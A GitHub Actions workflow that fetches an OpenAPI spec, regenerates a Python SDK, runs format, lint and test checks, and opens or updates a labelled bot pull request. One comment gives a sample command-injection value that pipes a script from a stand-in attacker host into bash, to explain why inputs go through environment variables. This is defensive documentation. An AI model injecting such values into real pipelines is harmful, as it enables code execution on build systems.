SDK Update #8
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| name: SDK Update | |
| # Phase 1: workflow_dispatch only. Cron is intentionally commented out | |
| # until we've verified the workflow end-to-end against the production | |
| # CloudFront sidecars (depends on SPN-2925). | |
| # | |
| # schedule: | |
| # - cron: "0 14 * * 1-5" # weekdays 14:00 UTC = 8am MT | |
| on: | |
| workflow_dispatch: | |
| inputs: | |
| spec_url: | |
| description: "Override URL for public-openapi.yaml (CloudFront docs host or file:// only)" | |
| required: false | |
| sha256_url: | |
| description: "Override URL for the .sha256 sidecar" | |
| required: false | |
| metadata_url: | |
| description: "Override URL for spec-metadata.json" | |
| required: false | |
| concurrency: | |
| group: sdk-generation | |
| cancel-in-progress: true | |
| jobs: | |
| update: | |
| name: Fetch, regenerate, open PR | |
| runs-on: ubuntu-latest | |
| timeout-minutes: 25 | |
| permissions: | |
| contents: write | |
| pull-requests: write | |
| issues: write # required so `gh label create` can manage repo labels | |
| steps: | |
| # Auth model: | |
| # - actions/checkout's default GITHUB_TOKEN is enough for same-repo | |
| # git push (the bot's force-push to auto/sdk-update) and for the | |
| # gh pr create/edit/list calls below. | |
| # - We previously tried a GitHub App token here so the bot PR would | |
| # trigger downstream workflows, but org-level App vars don't scope | |
| # to public repos. Since generate.yml is workflow_dispatch only and | |
| # we have no PR-event workflows, the downstream-trigger gap doesn't | |
| # hurt us today — if we add PR-event workflows later, we'll need a | |
| # non-GITHUB_TOKEN identity (App token or PAT) for the gh pr step. | |
| # - The GHM-375 deploy key is scoped to BambooHR/phpcs (PHP SDK's | |
| # composer dep). Python has no private cross-repo deps, so it's | |
| # unused here even though the secret is available on this repo. | |
| - name: Check out main | |
| uses: actions/checkout@v6 | |
| with: | |
| ref: main | |
| fetch-depth: 0 # need history so we can diff vs auto/sdk-update | |
| - name: Set up Python | |
| uses: actions/setup-python@v6 | |
| with: | |
| python-version: "3.12" | |
| cache: pip | |
| - name: Install dev dependencies | |
| run: | | |
| python -m pip install --upgrade pip | |
| pip install -e ".[dev]" | |
| - name: Install oasdiff | |
| # PINNED to v1.16.0: v1.17.0 introduced a "media-type walker" refactor | |
| # (commit 21e8eb4, PR #943, part of #936) that migrated the response | |
| # min/max checks to a new path which dereferences propertyDiff.Revision | |
| # without a nil guard. Our public spec triggers a SIGSEGV panic during | |
| # `oasdiff breaking` analysis. v1.16.0 predates the migration of those | |
| # checks and is the last known-good version. Revisit once an upstream | |
| # fix lands — search the oasdiff repo for the panic in | |
| # check_response_property_max_increased.go. | |
| run: | | |
| curl -fsSL https://raw.githubusercontent.com/oasdiff/oasdiff/main/install.sh \ | |
| | version=1.16.0 sh | |
| - name: Pull OpenAPI Generator Docker image | |
| run: docker pull openapitools/openapi-generator-cli:v7.16.0 | |
| # ----- Fetch and validate --------------------------------------------- | |
| # workflow_dispatch input values are passed through env vars rather | |
| # than spliced directly into the run: script. ${{ inputs.* }} is | |
| # expanded by GitHub before the shell sees it, so a crafted value | |
| # like `"; curl evil.com | bash; echo "` would inject commands. | |
| # Env-var substitution keeps the values inert (just bash variable | |
| # expansion, not source-level interpolation). | |
| - name: Fetch spec + sidecars | |
| id: fetch | |
| env: | |
| SPEC_URL: ${{ inputs.spec_url }} | |
| SHA256_URL: ${{ inputs.sha256_url }} | |
| METADATA_URL: ${{ inputs.metadata_url }} | |
| run: | | |
| ARGS=() | |
| [ -n "$SPEC_URL" ] && ARGS+=(--spec-url "$SPEC_URL") | |
| [ -n "$SHA256_URL" ] && ARGS+=(--sha256-url "$SHA256_URL") | |
| [ -n "$METADATA_URL" ] && ARGS+=(--metadata-url "$METADATA_URL") | |
| python scripts/fetch_spec.py "${ARGS[@]}" | |
| # If steps.fetch.outputs.changed != 'true', every subsequent step's | |
| # `if:` guard short-circuits and the job exits cleanly with success. | |
| # ----- Analyze -------------------------------------------------------- | |
| - name: Run oasdiff analysis | |
| if: steps.fetch.outputs.changed == 'true' | |
| id: analyze | |
| env: | |
| STAGED_SPEC_PATH: ${{ steps.fetch.outputs.staged_spec_path }} | |
| run: | | |
| mkdir -p .sdk-update/analysis | |
| bash scripts/analyze_spec.sh \ | |
| specs/public.yaml \ | |
| "$STAGED_SPEC_PATH" \ | |
| .sdk-update/analysis | |
| BREAKING=$(cat .sdk-update/analysis/breaking-exit) | |
| echo "breaking_exit=$BREAKING" >> "$GITHUB_OUTPUT" | |
| if [ "$BREAKING" = "1" ]; then | |
| echo "has_breaking=true" >> "$GITHUB_OUTPUT" | |
| else | |
| echo "has_breaking=false" >> "$GITHUB_OUTPUT" | |
| fi | |
| - name: Classify semver bump | |
| if: steps.fetch.outputs.changed == 'true' | |
| id: classify | |
| env: | |
| BREAKING_EXIT: ${{ steps.analyze.outputs.breaking_exit }} | |
| run: | | |
| bash scripts/classify_semver.sh \ | |
| --changelog-json .sdk-update/analysis/changelog.json \ | |
| --breaking-exit "$BREAKING_EXIT" \ | |
| > .sdk-update/classification.txt | |
| LEVEL=$(head -1 .sdk-update/classification.txt) | |
| echo "level=$LEVEL" >> "$GITHUB_OUTPUT" | |
| # ----- Replace committed spec + metadata ------------------------------ | |
| - name: Update committed spec + metadata | |
| if: steps.fetch.outputs.changed == 'true' | |
| env: | |
| RESOLVED_SPEC_URL: ${{ steps.fetch.outputs.resolved_spec_url }} | |
| SOURCE_COMMIT: ${{ steps.fetch.outputs.source_commit }} | |
| CHECKSUM_SHA256: ${{ steps.fetch.outputs.checksum_sha256 }} | |
| GENERATED_AT: ${{ steps.fetch.outputs.generated_at }} | |
| STAGED_SPEC_PATH: ${{ steps.fetch.outputs.staged_spec_path }} | |
| run: | | |
| cp "$STAGED_SPEC_PATH" specs/public.yaml | |
| python -c ' | |
| import json, os, pathlib | |
| path = pathlib.Path("specs/spec-source.json") | |
| data = json.loads(path.read_text()) if path.exists() else {} | |
| data["source_commit"] = os.environ["SOURCE_COMMIT"] | |
| data["checksum_sha256"] = os.environ["CHECKSUM_SHA256"] | |
| data["generated_at"] = os.environ["GENERATED_AT"] | |
| data["url"] = os.environ["RESOLVED_SPEC_URL"] | |
| path.write_text(json.dumps(data, indent=2) + "\n") | |
| ' | |
| # ----- Generate + quality checks -------------------------------------- | |
| # `make generate` is the only step the others truly depend on (they all | |
| # need the regenerated tree). Format / lint / smoke / test all run | |
| # independently after generate so reviewers see every signal on a single | |
| # run instead of just "the first thing that broke." Each is | |
| # continue-on-error so the workflow proceeds to open the bot PR | |
| # regardless, and the "Determine generation status" step tiers the | |
| # outcomes into one of three states. | |
| - name: make generate | |
| if: steps.fetch.outputs.changed == 'true' | |
| id: generate | |
| continue-on-error: true | |
| run: make generate | |
| - name: make format | |
| if: steps.fetch.outputs.changed == 'true' && steps.generate.outcome == 'success' | |
| id: format | |
| continue-on-error: true | |
| run: make format | |
| - name: make lint | |
| if: steps.fetch.outputs.changed == 'true' && steps.generate.outcome == 'success' | |
| id: lint | |
| continue-on-error: true | |
| run: make lint | |
| - name: make smoke-test | |
| if: steps.fetch.outputs.changed == 'true' && steps.generate.outcome == 'success' | |
| id: smoke | |
| continue-on-error: true | |
| run: make smoke-test | |
| - name: make test | |
| if: steps.fetch.outputs.changed == 'true' && steps.generate.outcome == 'success' | |
| id: test | |
| continue-on-error: true | |
| run: make test | |
| # Three-tier status so reviewers can tell apart the structural failure | |
| # ("the SDK isn't buildable, don't merge") from the quality failure | |
| # ("the SDK is buildable but has lint/test issues to look at"): | |
| # | |
| # generation-failed — `make generate` itself didn't succeed; the | |
| # regenerated tree is missing or broken. PR opens | |
| # with the spec update committed but no usable | |
| # SDK; reviewer needs to investigate before merge. | |
| # quality-issues — generate succeeded but one or more of | |
| # format/lint/smoke/test failed. SDK is structurally | |
| # valid; the issues are usually small and fixable. | |
| # success — everything green; safe to merge once reviewed. | |
| - name: Determine generation status | |
| if: steps.fetch.outputs.changed == 'true' | |
| id: status | |
| env: | |
| GENERATE_OUTCOME: ${{ steps.generate.outcome }} | |
| FORMAT_OUTCOME: ${{ steps.format.outcome }} | |
| LINT_OUTCOME: ${{ steps.lint.outcome }} | |
| SMOKE_OUTCOME: ${{ steps.smoke.outcome }} | |
| TEST_OUTCOME: ${{ steps.test.outcome }} | |
| run: | | |
| if [ "$GENERATE_OUTCOME" != "success" ]; then | |
| echo "result=generation-failed" >> "$GITHUB_OUTPUT" | |
| elif [ "$FORMAT_OUTCOME" = "success" ] \ | |
| && [ "$LINT_OUTCOME" = "success" ] \ | |
| && [ "$SMOKE_OUTCOME" = "success" ] \ | |
| && [ "$TEST_OUTCOME" = "success" ]; then | |
| echo "result=success" >> "$GITHUB_OUTPUT" | |
| else | |
| echo "result=quality-issues" >> "$GITHUB_OUTPUT" | |
| fi | |
| # ----- Skip-if-no-meaningful-changes ---------------------------------- | |
| - name: Check git diff for meaningful changes | |
| if: steps.fetch.outputs.changed == 'true' | |
| id: diff | |
| run: | | |
| if [ -z "$(git status --porcelain)" ]; then | |
| echo "Working tree clean after generation — no meaningful changes to publish." | |
| echo "has_changes=false" >> "$GITHUB_OUTPUT" | |
| else | |
| echo "has_changes=true" >> "$GITHUB_OUTPUT" | |
| fi | |
| # ----- Bump version (skip on major or generation-failed) -------------- | |
| - name: Bump version | |
| if: | | |
| steps.fetch.outputs.changed == 'true' | |
| && steps.diff.outputs.has_changes == 'true' | |
| && steps.classify.outputs.level != 'major' | |
| && steps.status.outputs.result == 'success' | |
| id: bump | |
| env: | |
| LEVEL: ${{ steps.classify.outputs.level }} | |
| run: python scripts/bump_version.py "$LEVEL" | |
| # ----- Compute "since last review" delta ------------------------------ | |
| - name: Compute delta vs existing auto/sdk-update branch | |
| if: steps.fetch.outputs.changed == 'true' && steps.diff.outputs.has_changes == 'true' | |
| id: delta | |
| run: | | |
| # Stage current changes so `git diff` includes them. | |
| git add -A | |
| if git ls-remote --exit-code --heads origin auto/sdk-update >/dev/null 2>&1; then | |
| git fetch origin auto/sdk-update:refs/remotes/origin/auto-sdk-update | |
| git diff --stat refs/remotes/origin/auto-sdk-update -- > .sdk-update/since-last-review.txt | |
| else | |
| : > .sdk-update/since-last-review.txt | |
| fi | |
| echo "path=.sdk-update/since-last-review.txt" >> "$GITHUB_OUTPUT" | |
| # ----- Build PR body -------------------------------------------------- | |
| - name: Stage spec metadata for PR body | |
| if: steps.fetch.outputs.changed == 'true' && steps.diff.outputs.has_changes == 'true' | |
| env: | |
| RESOLVED_SPEC_URL: ${{ steps.fetch.outputs.resolved_spec_url }} | |
| SOURCE_COMMIT: ${{ steps.fetch.outputs.source_commit }} | |
| GENERATED_AT: ${{ steps.fetch.outputs.generated_at }} | |
| run: | | |
| python -c ' | |
| import json, os, pathlib | |
| pathlib.Path(".sdk-update/metadata.json").write_text(json.dumps({ | |
| "source_commit": os.environ["SOURCE_COMMIT"], | |
| "generated_at": os.environ["GENERATED_AT"], | |
| "url": os.environ["RESOLVED_SPEC_URL"], | |
| }, indent=2) + "\n") | |
| ' | |
| - name: Build PR body | |
| if: steps.fetch.outputs.changed == 'true' && steps.diff.outputs.has_changes == 'true' | |
| id: body | |
| env: | |
| GENERATION_STATUS: ${{ steps.status.outputs.result }} | |
| OLD_VERSION: ${{ steps.bump.outputs.old_version }} | |
| NEW_VERSION: ${{ steps.bump.outputs.new_version }} | |
| run: | | |
| python scripts/build_pr_body.py \ | |
| --classification .sdk-update/classification.txt \ | |
| --changelog-md .sdk-update/analysis/changelog.md \ | |
| --spec-metadata .sdk-update/metadata.json \ | |
| --since-last-review .sdk-update/since-last-review.txt \ | |
| --generation-status "$GENERATION_STATUS" \ | |
| --old-version "$OLD_VERSION" \ | |
| --new-version "$NEW_VERSION" \ | |
| > .sdk-update/pr-body.md | |
| # ----- Force-push to auto/sdk-update ---------------------------------- | |
| - name: Configure git identity | |
| if: steps.fetch.outputs.changed == 'true' && steps.diff.outputs.has_changes == 'true' | |
| run: | | |
| git config user.name "bhr-sdk-bot" | |
| git config user.email "[email protected]" | |
| - name: Commit changes | |
| if: steps.fetch.outputs.changed == 'true' && steps.diff.outputs.has_changes == 'true' | |
| env: | |
| SOURCE_COMMIT: ${{ steps.fetch.outputs.source_commit }} | |
| run: | | |
| git add -A | |
| MSG_TITLE="[auto] SDK update — spec $SOURCE_COMMIT" | |
| git commit -m "$MSG_TITLE" || echo "Nothing to commit" | |
| - name: Force-push to auto/sdk-update | |
| if: steps.fetch.outputs.changed == 'true' && steps.diff.outputs.has_changes == 'true' | |
| run: git push --force origin HEAD:refs/heads/auto/sdk-update | |
| # ----- Open or update PR --------------------------------------------- | |
| # Make sure every label the next step might add or remove actually | |
| # exists on the repo. `gh pr edit --add-label "a,b,c"` validates all | |
| # names up-front and fails the whole call if any one is missing — | |
| # which would silently kill the workflow when we introduce a new | |
| # label name in code without remembering to pre-create it in the UI. | |
| # `gh label create --force` is the idempotent equivalent: creates if | |
| # missing, updates color/description if present, exits 0 either way. | |
| - name: Ensure workflow labels exist | |
| if: steps.fetch.outputs.changed == 'true' && steps.diff.outputs.has_changes == 'true' | |
| env: | |
| GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} | |
| run: | | |
| gh label create "auto-generated" --color "c9f7b1" --force \ | |
| --description "PR opened automatically by the sdk-update workflow" | |
| gh label create "breaking" --color "b60205" --force \ | |
| --description "Contains breaking API changes (semver major)" | |
| gh label create "generation-failed" --color "b60205" --force \ | |
| --description "make generate did not succeed on the latest run" | |
| gh label create "quality-issues" --color "fbca04" --force \ | |
| --description "Generation succeeded but format/lint/smoke/test reported issues" | |
| - name: Create or update PR | |
| if: steps.fetch.outputs.changed == 'true' && steps.diff.outputs.has_changes == 'true' | |
| env: | |
| GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} | |
| LEVEL: ${{ steps.classify.outputs.level }} | |
| SOURCE_COMMIT: ${{ steps.fetch.outputs.source_commit }} | |
| HAS_BREAKING: ${{ steps.analyze.outputs.has_breaking }} | |
| STATUS_RESULT: ${{ steps.status.outputs.result }} | |
| run: | | |
| TITLE="[auto] SDK update ($LEVEL) — spec $SOURCE_COMMIT" | |
| # Build the exact label set for this run. `auto-generated` is | |
| # always present; `breaking`, `generation-failed`, and | |
| # `quality-issues` are toggled based on this run's outcomes. | |
| # See the "Determine generation status" step for tier definitions. | |
| ADD_LABELS=("auto-generated") | |
| REMOVE_LABELS=() | |
| if [ "$HAS_BREAKING" = "true" ]; then | |
| ADD_LABELS+=("breaking") | |
| else | |
| REMOVE_LABELS+=("breaking") | |
| fi | |
| case "$STATUS_RESULT" in | |
| generation-failed) | |
| ADD_LABELS+=("generation-failed") | |
| REMOVE_LABELS+=("quality-issues") | |
| ;; | |
| quality-issues) | |
| ADD_LABELS+=("quality-issues") | |
| REMOVE_LABELS+=("generation-failed") | |
| ;; | |
| success) | |
| REMOVE_LABELS+=("generation-failed" "quality-issues") | |
| ;; | |
| esac | |
| ADD_LABELS_CSV="$(IFS=,; echo "${ADD_LABELS[*]}")" | |
| # Check for an existing open PR on the auto/sdk-update branch. | |
| # `.[0].number // empty` is the load-bearing detail: on an empty | |
| # PR list, `.[0]` returns null, `null.number` returns null, and | |
| # gojq renders that as the literal string "null" — which would | |
| # pass [ -n "$EXISTING_PR" ] and send us into the gh pr edit | |
| # branch with the string "null" as the PR number. `// empty` | |
| # substitutes jq's `empty` (no output) for nulls, so EXISTING_PR | |
| # is genuinely the empty string when no PR exists. | |
| EXISTING_PR="$(gh pr list --head auto/sdk-update --state open --json number --jq '.[0].number // empty' || true)" | |
| if [ -n "$EXISTING_PR" ]; then | |
| gh pr edit "$EXISTING_PR" \ | |
| --title "$TITLE" \ | |
| --body-file .sdk-update/pr-body.md \ | |
| --add-label "$ADD_LABELS_CSV" | |
| # Reconcile stale conditional labels. --remove-label is a no-op | |
| # if the label isn't present, so this is safe to run unconditionally. | |
| for label in "${REMOVE_LABELS[@]}"; do | |
| gh pr edit "$EXISTING_PR" --remove-label "$label" || true | |
| done | |
| else | |
| gh pr create \ | |
| --base main \ | |
| --head auto/sdk-update \ | |
| --title "$TITLE" \ | |
| --body-file .sdk-update/pr-body.md \ | |
| --label "$ADD_LABELS_CSV" \ | |
| --reviewer "BambooHR/platapi" | |
| fi |